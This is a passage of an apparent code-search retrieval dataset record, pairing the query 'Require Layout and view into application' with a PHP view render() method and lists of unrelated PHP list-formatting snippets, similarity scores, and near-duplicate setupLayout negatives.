= trim($v);\n }\n $input[$field] = $f;\n unset($f,$fld,$k,$v);\n }\n }\n return $input;\n }", "public function merge_validater_allow_list($list)\n {\n foreach ($list as $k => $v) {\n $this->_validater_allow_arr[$k] = (bool)$v;\n }\n }", "public function updateDataFormats()\n {\n global $config, $rlListingTypes, $rlDb;\n\n if (!$config['cache']) {\n return false;\n }\n\n $this->removeFiles('cache_data_formats');\n\n $rlDb->setTable('data_formats');\n\n /* DO NOT SET ANOTHER FIELD FOR ORDER, ID ONLY */\n $data = $rlDb->fetch(array('ID', 'Parent_ID', 'Key`, CONCAT(\"data_formats+name+\", `Key`) AS `pName', 'Position', 'Default'), array('Status' => 'active', 'Plugin' => ''), \"ORDER BY `ID`, `Key`\");\n\n foreach ($data as $key => $value) {\n if (!$value['Key']) {\n continue;\n }\n\n if (!array_key_exists($data[$key]['Key'], $out) && empty($data[$key]['Parent_ID'])) {\n $out[$data[$key]['Key']] = array();\n $df_info[$data[$key]['ID']] = $data[$key]['Key'];\n } else {\n if (!$df_info[$data[$key]['Parent_ID']]) {\n continue;\n }\n\n $out[$df_info[$data[$key]['Parent_ID']]][] = $data[$key];\n }\n }\n\n unset($data, $df_info);\n $this->set('cache_data_formats', $out);\n }", "protected function _updateVarsListTable($arr)\n\t{\n\t\tglobal $classHtml;\n\n\t\t$varsStrFlagFiscalPeriod = $arr['varsItem']['varsStrFlagFiscalPeriod'];\n\t\t$varsBase = $arr['varsBase'];\n\n\t\t$varsColumn = array('');\n\t\t$varsColumnWidth = array($arr['value']['tmplTable']['numWidthItem']);\n\t\t$varsColumnId = array('item');\n\t\t$numWidth = 0;\n\t\t$strPeriod = $arr['vars']['varsItem']['tmplFiscalPeriod']['strPeriod'];\n\t\t$array = $arr['varsItem']['varsPeriod'];\n\t\tforeach ($array as $key => $value) {\n\t\t\t$numFiscalPeriod = $value;\n\t\t\t$arrayFlagFiscalPeriod = $arr['varsItem']['varsStrFlagFiscalPeriod'][$numFiscalPeriod];\n\t\t\tforeach ($arrayFlagFiscalPeriod as $keyFlagFiscalPeriod => $valueFlagFiscalPeriod) {\n\t\t\t\tif ($arr['value']['id'] == 'TableF1') {\n\t\t\t\t\tif (!preg_match(\"/^f1$/\", $keyFlagFiscalPeriod)) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t} else if ($arr['value']['id'] == 'TableF2') {\n\t\t\t\t\tif (!preg_match(\"/^f2/\", $keyFlagFiscalPeriod)) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t} else if ($arr['value']['id'] == 'TableF4') {\n\t\t\t\t\tif (!preg_match(\"/^f4/\", $keyFlagFiscalPeriod)) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t} else if ($arr['value']['id'] == 'TableMonth') {\n\t\t\t\t\tif (preg_match(\"/^f/\", $keyFlagFiscalPeriod)) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$varsColumn[] = $numFiscalPeriod . $strPeriod . '' . $valueFlagFiscalPeriod;\n\t\t\t\t$varsColumnId[] = $numFiscalPeriod . '_' . $keyFlagFiscalPeriod;\n\t\t\t\t$varsColumnWidth[] = $arr['value']['tmplTable']['numWidth'];\n\t\t\t\t$numWidth += $arr['value']['tmplTable']['numWidth'];\n\t\t\t}\n\t\t}\n\t\t$varsBase = &$arr['vars']['varsCollect']['varsBase'];\n\n\t\t$arrayNew = array();\n\t\t$array = $arr['vars']['varsCollect']['arrStrTitle'];\n\t\tforeach ($array as $key => $value) {\n\t\t\t$varsDetail = $arr['value']['tmplTable']['tmplDetail'];\n\t\t\t$arrayColumn = $varsColumnId;\n\t\t\tforeach ($arrayColumn as $keyColumn => $valueColumn) {\n\t\t\t\t$varsDetail['varsDetail'][$valueColumn] = $arr['value']['tmplTable']['tmplData'];\n\n\t\t\t\tif ($valueColumn == 'item') {\n\t\t\t\t\t$varsDetail['varsDetail'][$valueColumn]['value'] = $value['strTitleFSTag'];\n\t\t\t\t\t$varsDetail['varsDetail'][$valueColumn]['strClass'] = $arr['value']['tmplTable']['strClassLeft'];\n\t\t\t\t\tif ($value['strClassFont']) {\n\t\t\t\t\t\t$varsDetail['varsDetail'][$valueColumn]['strClassFont'] = $value['strClassFont'];\n\t\t\t\t\t}\n\t\t\t\t\t$varsDetail['varsDetail'][$valueColumn]['flagOverflowUse'] = 1;\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\t$arrLevel = preg_split(\"/_/\", $valueColumn);\n\t\t\t\t$numFiscalPeriod = reset($arrLevel);\n\t\t\t\t$flagFiscalPeriod = end($arrLevel);\n\t\t\t\t$arrLevel = array();\n\t\t\t\tif ($value['strClassFont']) {\n\t\t\t\t\t$varsDetail['varsDetail'][$valueColumn]['strClassFont'] = $value['strClassFont'];\n\t\t\t\t}\n\t\t\t\t$varsDetail['varsDetail'][$valueColumn]['value'] = $varsBase[$numFiscalPeriod]['varsComma'][$flagFiscalPeriod][$key]['sumNext'];\n\t\t\t}\n\t\t\t$arrayNew[] = $varsDetail;\n\t\t}\n\n\t\t$arr['value']['tmplTable']['varsStatus']['varsColumnId'] = $varsColumnId;\n\t\t$arr['value']['tmplTable']['varsStatus']['varsColumnWidth'] = $varsColumnWidth;\n\n\t\t$varsTemp = $classHtml->allot(array(\n\t\t\t'strClass' => 'TableSimple',\n\t\t\t'flagStatus' => 'Html',\n\t\t\t'varsDetail' => $arrayNew,\n\t\t\t'varsColumn' => $varsColumn,\n\t\t\t'varsStatus' => $arr['value']['tmplTable']['varsStatus'],\n\t\t));\n\t\t$arr['value']['varsSpace']['varsDetail']['strHtml'] = $varsTemp['strHtml'];\n\n\t\treturn $arr['value'];\n\t}", "protected function process_field_formats($data, $format)\n {\n }", "protected function scrubFieldList($in)\n {\n $out = array();\n if (empty($in) || !is_array($in)) {\n return $out;\n }\n\n foreach ($in as $name => $val) {\n // supports an indexed array format of simple field names\n if (is_numeric($name)) {\n $name = $val;\n $val = true;\n }\n\n // supports a boolean value meaning \"use the default setup\"\n $params = !is_array($val) ? array() : array_slice($val, 0);\n\n // build a normalized structur\n $def = array(\n 'field' => isset($params['field']) ? $params['field'] : $name,\n 'type' => isset($params['type']) ? $params['type'] : null,\n 'params' => $params,\n );\n\n if (isset($def['params']['field'])) {\n unset($def['params']['field']);\n }\n if (isset($def['params']['type'])) {\n unset($def['params']['type']);\n }\n\n $out[$name] = $def;\n }\n\n return $out;\n }", "public function format($data);", "public function format($data);", "private function _normalizeData($data)\n\t{\n\t\t$ret = array();\n\t\tforeach($data as $key=>$val)\n\t\t{\n\t\t\tif($val instanceof \\Framework\\Interfaces\\IModelDataType)\n\t\t\t\t$val = $this->_driver->convertModelDataTypeToNativeDataType($val);\n\t\t\telseif(is_array($val))\n\t\t\t\t$val = $this->_normalizeData($val);\n\n\t\t\t//Set value\n\t\t\t$ret[$key] = $val;\n\t\t}\n\n\t\treturn $ret;\n\t}", "protected abstract function formatArrayValue(array $value);", "function process(&$matches)\n {\n // the replacement text we will return\n $return = '';\n \n // the list of post-processing matches\n $list = array();\n \n // a stack of list-start and list-end types; we keep this\n // so that we know what kind of list we're working with\n // (bullet or number) and what indent level we're at.\n $stack = array();\n \n // the item count is the number of list items for any\n // given list-type on the stack\n $itemcount = array();\n \n // have we processed the very first list item?\n $pastFirst = false;\n \n // populate $list with this set of matches. $matches[1] is the\n // text matched as a list set by parse().\n preg_match_all(\n '=^( {0,})(\\*|#) (.*)$=Ums',\n $matches[1],\n $list,\n PREG_SET_ORDER\n );\n \n // loop through each list-item element.\n foreach ($list as $key => $val) {\n \n // $val[0] is the full matched list-item line\n // $val[1] is the number of initial spaces (indent level)\n // $val[2] is the list item type (* or #)\n // $val[3] is the list item text\n \n // how many levels are we indented? (1 means the \"root\"\n // list level, no indenting.)\n $level = strlen($val[1]) + 1;\n \n // get the list item type\n if ($val[2] == '*') {\n $type = 'bullet';\n } elseif ($val[2] == '#') {\n $type = 'number';\n } else {\n $type = 'unknown';\n }\n \n // get the text of the list item\n $text = $val[3];\n \n // add a level to the list?\n if ($level > count($stack)) {\n \n // the current indent level is greater than the\n // number of stack elements, so we must be starting\n // a new list. push the new list type onto the\n // stack...\n array_push($stack, $type);\n \n // ...and add a list-start token to the return.\n $return .= $this->wiki->addToken(\n $this->rule, \n array(\n 'type' => $type . '_list_start',\n 'level' => $level - 1\n )\n );\n }\n \n // remove a level from the list?\n while (count($stack) > $level) {\n \n // so we don't keep counting the stack, we set up a temp\n // var for the count. -1 becuase we're going to pop the\n // stack in the next command. $tmp will then equal the\n // current level of indent.\n $tmp = count($stack) - 1;\n \n // as long as the stack count is greater than the\n // current indent level, we need to end list types. \n // continue adding end-list tokens until the stack count\n // and the indent level are the same.\n $return .= $this->wiki->addToken(\n $this->rule, \n array (\n 'type' => array_pop($stack) . '_list_end',\n 'level' => $tmp\n )\n );\n \n // reset to the current (previous) list type so that\n // the new list item matches the proper list type.\n $type = $stack[$tmp - 1];\n \n // reset the item count for the popped indent level\n unset($itemcount[$tmp + 1]);\n }\n \n // add to the item count for this list (taking into account\n // which level we are at).\n if (! isset($itemcount[$level])) {\n // first count\n $itemcount[$level] = 0;\n } else {\n // increment count\n $itemcount[$level]++;\n }\n \n // is this the very first item in the list?\n if (! $pastFirst) {\n $first = true;\n $pastFirst = true;\n } else {\n $first = false;\n }\n \n // create a list-item starting token.\n $start = $this->wiki->addToken(\n $this->rule, \n array(\n 'type' => $type . '_item_start',\n 'level' => $level,\n 'count' => $itemcount[$level],\n 'first' => $first\n )\n );\n \n // create a list-item ending token.\n $end = $this->wiki->addToken(\n $this->rule, \n array(\n 'type' => $type . '_item_end',\n 'level' => $level,\n 'count' => $itemcount[$level]\n )\n );\n \n // add the starting token, list-item text, and ending token\n // to the return.\n $return .= $start . $val[3] . $end;\n }\n \n // the last list-item may have been indented. go through the\n // list-type stack and create end-list tokens until the stack\n // is empty.\n while (count($stack) > 0) {\n $return .= $this->wiki->addToken(\n $this->rule, \n array (\n 'type' => array_pop($stack) . '_list_end',\n 'level' => count($stack)\n )\n );\n }\n \n // we're done! send back the replacement text.\n return \"\\n\" . $return . \"\\n\\n\";\n }", "public function replaceLists($string, $inList = false)\n\t{\n\t\t// For closures\n\t\t$obj = $this;\n\n\t\t$start = $inList ? '^' : '(?:(?<=\\n\\n)|\\A\\n?)';\n\t\t$pattern = '/'. $start .'(( {0,3}(([*+-]|\\d+\\.)[ \\t]+)(?s:.+?)(\\Z|\\n{2,}(?=\\S)(?![ \\t]*(?:[*+-]|\\d+\\.)[ \\t]+))))/m';\n\t\t$string = preg_replace_callback($pattern, function($match) use ($obj)\n\t\t{\n\t\t\t// Fix up possible paragrap breaks and trim trailing newlines\n\t\t\t$list = preg_replace('/\\n{2,}/', \"\\n\\n\\n\", $match[1]);\n\t\t\t$list = preg_replace('/\\n{2,}\\Z/', \"\\n\", $list);\n\n\t\t\t$listItems = preg_replace_callback('/(\\n)?(^[ \\t]*)((?:[*+-]|\\d+\\.))[ \\t]+((?s:.+?)(\\n{1,2}|\\n?\\Z))(?=\\n*(\\Z|\\2((?:[*+-]|\\d+\\.))[ \\t]+))/m', function($m) use ($obj)\n\t\t\t{\n\t\t\t\t$item = $m[4];\n\t\t\t\tif ($m[1] || preg_match('/\\n{2}/', $item))\n\t\t\t\t{\n\t\t\t\t\t$item = $obj->replaceBlock($obj->outdent($item), true);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$item = rtrim($obj->replaceLists($obj->outdent($item), true), \"\\n\");\n\t\t\t\t\t$item = $obj->replaceInline($item);\n\t\t\t\t}\n\n\t\t\t\treturn \"<li>$item</li>\\n\";\n\t\t\t}, $list);\n\n\t\t\t$listType = in_array($match[4], array('*', '+', '-')) ? 'ul' : 'ol';\n\t\t\treturn \"<$listType>\\n$listItems</$listType>\\n\";\n\t\t}, $string);\n\n\t\treturn $string;\n\t}", "function parseFieldList($dataArray) {\n\t\t$result = array();\n\n\t\tif (!is_array($dataArray)) {\n\t\t\treturn $result;\n\t\t}\n\n\t\tforeach($dataArray as $key => $data) {\n\t\t\t// remove the trailing '.'\n\t\t\t$result[] = substr($key, 0, -1);\n\t\t}\n\n\t\treturn $result;\n\t}", "protected function formatTicketList($content){\r\n\t\t// Looking for successful header\r\n\t\t$resultsList = explode(\"200 Ok\\n\",$content);\r\n\t\t// Separate the header and the actual body that contains the ticket list\r\n\t\t$results = explode(\"\\n\\n--\\n\", $resultsList[1]);\r\n\t\t// Check if there is any ticket in the body\r\n\t\tif (!empty($results) && strpos($results[0], \"id: ticket\") > 0) { // if result is not empty\r\n\t\t\t// Translate the text list into array\r\n\t\t\tforeach ($results as $j => $ticket){\r\n\t\t\t\t// If there are Content attribute, \r\n\t\t\t\t$attributes = explode(\"\\n\",$ticket);\r\n\t\t\t\tif(empty($attributes[0])) unset($attributes[0]);\r\n\t\t\t\tif(empty($attributes[count($attributes)-1])) unset($attributes[count($attributes)-1]);\r\n\t\t\t\tforeach ($attributes as $i => $data){\r\n\t\t\t\t\t$keys = explode(\": \", $data);\r\n\t\t\t\t\tunset($attributes[$i]);\r\n\t\t\t\t\t// Remove the 'ticket/' part of the id field\r\n\t\t\t\t\tif ($keys[0] == 'id'){\r\n\t\t\t\t\t\t$tmp = explode('/', $keys[1]);\r\n\t\t\t\t\t\t$keys[1] = $tmp[1];\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (!empty($keys[0])) $attributes[$keys[0]] = $keys[1];\r\n\t\t\t\t}\r\n\t\t\t\t$results[$j] = $attributes;\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn (count($results) > 1) ? $results : $results[0];\r\n\t}", "private function prepareHTML(){\n\t$first=true;\n\t\t\n\tforeach($this->objarr as $key=>$val){\n\t\t$a=\"\";\n\t if($val->getAClass()!=\"\") $a.=\" class=\\\"\".$val->getAClass().\"\\\"\";\n\t if($val->getAId()!=\"\") $a.=\" id=\\\"\".$val->getAId().\"\\\"\";\n\t $ul=\"\";\n\t if($val->getUlClass()!=\"\") $ul.=\" class=\\\"\".$val->getUlClass().\"\\\"\";\n\t if($val->getUlId()!=\"\") $ul.=\" id=\\\"\".$val->getUlId().\"\\\"\";\n\t $li=\"\";\n\t if($val->getLiClass()!=\"\") $li.=\" class=\\\"\".$val->getLiClass().\"\\\"\";\n\t if($val->getLiId()!=\"\") $li.=\" id=\\\"\".$val->getLiId().\"\\\"\";\n\t\n\t\tif(!$val->getIntegrated()){ //se l' oggetto non è stato integrato come figlio di qualche altro oggetto\n\t if($first){\n\t $this->html.=\"<ul>\\n<li\".$li.\"><a\".$a.\" href=\\\"\".$val->getLink().\"\\\">\".$val->getText().\"</a></li>\\n</ul>\";\n\t $first=false;\n\t\t }else{\n\t\t \t$this->html=$this->replace_last_occurence($this->html, \"</ul>\", \n\t\t \t\"<li\".$li.\"><a\".$a.\" href=\\\"\".$val->getLink().\"\\\">\".$val->getText().\"</a></li>\\n</ul>\");\n\t\t }\n\t\t \t\n\t\t $this->prepareRecursiveHTML($val);\n\t\t}//close if(!$val->getIntegrated())\n\t}//close foreach\n\t\n}", "final public function format_rental_prices_added(array $data): array {\n\t\tif( !empty($data) ){\n\t\t\t//Define counter\n\t\t\t$counter = 0;\n\t\t\t//Container for a formatted array\n\t\t\t$array = array();\n\t\t\tforeach($data as $value){\n\t\t\t\tif( count($value) == 1 ){\n\t\t\t\t\t$array[key($value)] = $value[key($value)];\n\t\t\t\t\t$counter++;\n\t\t\t\t}\n\t\t\t\tif($counter == 3){\n\t\t\t\t\t$data = array_merge($data, array($array));\n\t\t\t\t\t$counter = 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn $data;\n\t\t}\n\t\treturn $data;\n\t}", "private function explodeList($list,$sep = ',') {\n\t\t$items = \\TYPO3\\CMS\\Core\\Utility\\GeneralUtility::trimExplode($sep,$list);\n\t\t$splitArray = array();\n\t\tforeach ($items as $idx => $item) {\n\t\t\tif (isset($this->gp[$item])) {\n\t\t\t\tarray_push($splitArray,$this->gp[$item]);\n\t\t\t} else {\n\t\t\t\tarray_push($splitArray,$item);\n\t\t\t}\n\t\t}\n\t\treturn $splitArray;\n\t}", "function _handle_value($value, $type)\n\t{\n\t\t$type = (!isset($this->_types[$type])) ? '0' : $type;\n\t\tif ($this->_types[$type] == 'list')\n\t\t{\n\t\t\treturn explode(\"\\n\", $value);\n\t\t}\n\t\t\n\t\treturn $value;\n\t}", "private function changelog_format_permission_change () {\n\t\t# get old and compare\n\t\t$this->object_new['permissions_change'] = json_decode(str_replace(\"\\\\\", \"\", $this->object_new['permissions_change']), true);\t\t//Remove /\n\n\t\t# Get all groups:\n\t\t$groups = (array) $this->Tools->fetch_all_objects(\"userGroups\", \"g_id\");\n\t\t// rekey\n\t\t$out = array();\n\t\t$log = array();\n\n\t\tforeach($groups as $k=>$g) {\n\t\t\t// save\n\t\t\t$out[$g->g_id]['g_name'] = $g->g_name;\n\t\t}\n\t\t$groups = $out;\n\n\t\t# reformat\n\t\tif($this->object_new['permissions_change']!=\"null\") {\n\t\t\t$new_permissions = json_decode($this->object_new['permissions_change']);\n\t\t\tforeach($new_permissions as $group_id=>$p) {\n\t\t\t\t$log['Permissions'] .= \"<br>\". $groups[$group_id]['g_name'] .\" : \".$this->Subnets->parse_permissions($p);\n\t\t\t}\n\t\t}\n\t\t//result\n\t\treturn $log;\n\t}", "function ting_ting_collection_convert_list() {\n return array(\n 'title_full' => t('Collection title and author names'),\n //'title' => t('Collection title'),\n );\n}", "protected function reloadTldList()\n {\n $startComment = $this->getListStart();\n $endComment = $this->getListEnd();\n\n $rawSuffixList = file_get_contents( $this->getSuffixUrl() );\n $rawSuffixList = $this->_stringBetween( $rawSuffixList, $startComment, $endComment );\n\n $explodedList = explode( \"\\n\", $rawSuffixList );\n $formattedList = [];\n\n $punycode = new Punycode();\n\n foreach ( $explodedList as $key => $value )\n {\n $value = trim( $value );\n\n foreach ( $this->getListRemove() as $remove )\n {\n if ( $this->_startsWith( $value, $remove ) ) unset( $explodedList[$key] );\n }\n\n if ( empty( $value ) ) unset( $explodedList[$key] );\n }\n\n foreach ( $explodedList as $key => $value )\n {\n $value = $punycode->encode( $value );\n $value = str_replace( '*.', '', $value );\n\n if ( $this->_stringContains( $value, '.' ) ) {\n $levels = explode( '.', $value );\n $length = count( $levels );\n try {\n array_push( $formattedList[ $levels[ $length - 1 ] ], $value );\n } catch ( \\ErrorException $exception ) {\n $formattedList[ $levels[ $length - 1 ] ] = [ $levels[ $length - 1 ] ];\n array_push( $formattedList[ $levels[ $length - 1 ] ], $value );\n }\n } else {\n $formattedList[$value] = [$value];\n }\n }\n\n $this->setTldList([\n 'last_updated' => time(),\n 'list' => $formattedList,\n ]);\n\n $this->cacheTldList();\n }", "function humanizedList($string, $alpha=false) {\n\t$array = explode(', ',$string);\n\n\tif ($alpha){\n\t\tsort($array);\n\n\t}\n\n\t$lastString = array_pop($array);\n\n $finalString = implode(', ', $array);\n return $finalString . ', and ' . $lastString;\n\n}", "function listToJson($list) {\n $json = array();\n\n foreach($list as $m) {\n $json[count($json)] = $m->generateJson();\n }\n\n return $json;\n}", "function format_array_3digit_wise($array) {\n global $invalid_data;\n global $max_array_size;\n $return = array();\n $arr = array();\n\n foreach ($array as $v) {\n if (!preg_match('/^[0-9]{10}$/', $v)) {\n array_push($invalid_data, $v);\n } else {\n $str = substr($v, 0, 3);\n $return[$str][] = $v;\n }\n }\n\n foreach ($return as $prefix => $v) {\n $sizeofArray = sizeof($v);\n if ($max_array_size < $sizeofArray) {\n $chunk = array_chunk($v, $max_array_size);\n\n $length = ceil($sizeofArray / $max_array_size);\n\n for ($i = 0; $i < $length; $i++) {\n $new_prefix = $prefix . '' . $i;\n $return[$new_prefix] = $chunk[$i];\n }\n unset($return[$prefix]);\n }\n }\n\n return $return;\n}", "function listify($array, $class='list', $vary=true, $textfield = false, $childfield = false){\n if(!$array) return;\n static $i = -1;\n static $recursion = 0;\n ++$recursion;\n if($vary === true) $vary = array('odd', 'even');\n $vlen = count($vary);\n $result = '';\n $result = '<ul'.($class?' class=\"'.$class.'\"':'').'>';\n foreach($array as $key => $li) {\n $result .= '<li'.($vary?' class=\"'.$vary[++$i%$vlen].'\"':'').'>'\n .($textfield ? @$li[$textfield] : (is_array($li) ? $key : $li))\n .(is_array($li)\n ? ($childfield\n ? (isset($li[$childfield])\n ? listify($li[$childfield], false, $vary, $textfield, $childfield)\n : ''\n )\n : listify($li, false, $vary, $textfield, $childfield)\n )\n : '');\n }\n $result .= '</ul>';\n --$recursion;\n if(!$recursion) $i = 0;\n return $result;\n}", "public function maybe_serialize_list_fields( $entry, $form_id = null ) {\n\t\tif ( empty( $form_id ) ) {\n\t\t\t$form_id = $entry['form_id'];\n\t\t}\n\t\t$form = GFAPI::get_form( $form_id );\n\t\tif ( ! empty( $form['fields'] ) && is_array( $form['fields'] ) ) {\n\t\t\tforeach ( $form['fields'] as $field ) {\n\t\t\t\t/* @var GF_Field $field */\n\t\t\t\tif ( $field->get_input_type() == 'list' && isset( $entry[ $field->id ] ) ) {\n\t\t\t\t\t$new_list_value = self::maybe_decode_json( $entry[ $field->id ] );\n\t\t\t\t\tif ( ! is_serialized( $new_list_value ) ) {\n\t\t\t\t\t\t$new_list_value = serialize( $new_list_value );\n\t\t\t\t\t}\n\t\t\t\t\t$entry[ $field->id ] = $new_list_value;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn $entry;\n\t}", "function scrappy_renderList( $data ) {\n if ( !is_array( $data ) ) return; \n $html = '';\n foreach ( $data as $key => $value ) {\n $html .= '<ul style=\"padding-left:15px\">';\n if (is_object( $value ) ) $value = get_object_vars( $value );\n if (is_array( $value ) ) {\n $html .= '<li><strong>' . $key .':</strong> ';\n $html .= scrappy_renderList( $value );\n $html .= '</li>';\n } else {\n $html .= '<li><strong>' . $key .':</strong> '. $value . '</li>';\n }\n $html .= '</ul>'; \n }\n return $html;\n}", "function makeListItems($list, $name=null, $extra=false)\n{\n $list_items = '';\n foreach ( $list as $item ) {\n // Prepare values\n $list_item = htmlspecialchars($item->getName());\n if ( method_exists($item, 'getUrl') ) {\n $url = $item->getUrl();\n if ( !empty($url) ) {\n $list_item = \"<a href=\\\"{$url}\\\">{$list_item}</a>\\n\";\n }\n }\n // Make the li\n $list_items .= <<<LI\n <li>\n {$list_item}\n </li>\n\nLI;\n }\n return $list_items;\n}" ]
[ "0.61164725", "0.60349375", "0.59486264", "0.594355", "0.5868117", "0.58518714", "0.5817851", "0.5668122", "0.5642549", "0.5631845", "0.5607178", "0.55988777", "0.5566967", "0.54429907", "0.53309447", "0.53087044", "0.5306117", "0.53058416", "0.52552485", "0.52397895", "0.51446986", "0.5134446", "0.51326406", "0.5120318", "0.5120128", "0.5108872", "0.510368", "0.50697106", "0.506457", "0.50618875", "0.5043893", "0.5035271", "0.5034642", "0.50306785", "0.503026", "0.4998189", "0.49946094", "0.4986431", "0.49847636", "0.49631217", "0.49526942", "0.4947972", "0.49462834", "0.492253", "0.4922344", "0.49016783", "0.4888074", "0.48748434", "0.4868137", "0.48672223", "0.48553896", "0.48323208", "0.48299855", "0.48270285", "0.48203167", "0.4816551", "0.48083782", "0.48016194", "0.48002", "0.47976902", "0.47860575", "0.47837684", "0.47770342", "0.47767544", "0.47708467", "0.4757669", "0.47563717", "0.47524452", "0.47502714", "0.47493038", "0.47339493", "0.4731616", "0.47285652", "0.4724244", "0.47201595", "0.47111353", "0.47049972", "0.46944407", "0.46896598", "0.46896598", "0.46875432", "0.46796906", "0.46694416", "0.4666725", "0.4661924", "0.46586007", "0.4656513", "0.46546358", "0.46505952", "0.46448788", "0.46440327", "0.46435806", "0.46398312", "0.4630693", "0.46304506", "0.4627179", "0.46264425", "0.4626023", "0.462451", "0.4616908" ]
0.5307556
16
Require Layout and view into application
public function render() { if (file_exists('../resources/views/' . $this->view_name . '.phtml')) { include_once '../resources/views/' . $this->view_name . '.phtml'; include_once '../resources/views/layouts/' . $this->layout . '.phtml'; } else { die("THERE IS NO VIEW"); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function setupLayout() {\n\t\tif (!is_null($this -> layout)) {\n\t\t\t$this -> layout = View::make($this -> layout);\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\tdefine(\"aol_institute\", 68);\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout() {\n\t\tif ( ! is_null($this->layout)) {\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\tif (!is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\r\n\t{\r\n\t\tif ( ! is_null($this->layout))\r\n\t\t{\r\n\t\t\t$this->layout = View::make($this->layout);\r\n\t\t}\r\n\t}", "protected function setupLayout()\n\t{\n\t\tif (!is_null($this->layout)) {\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout)) {\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout() {\n if (!is_null($this->layout)) $this->layout = View::make($this->layout);\n }", "protected function setupLayout()\n {\n if( ! is_null($this->layout))\n {\n 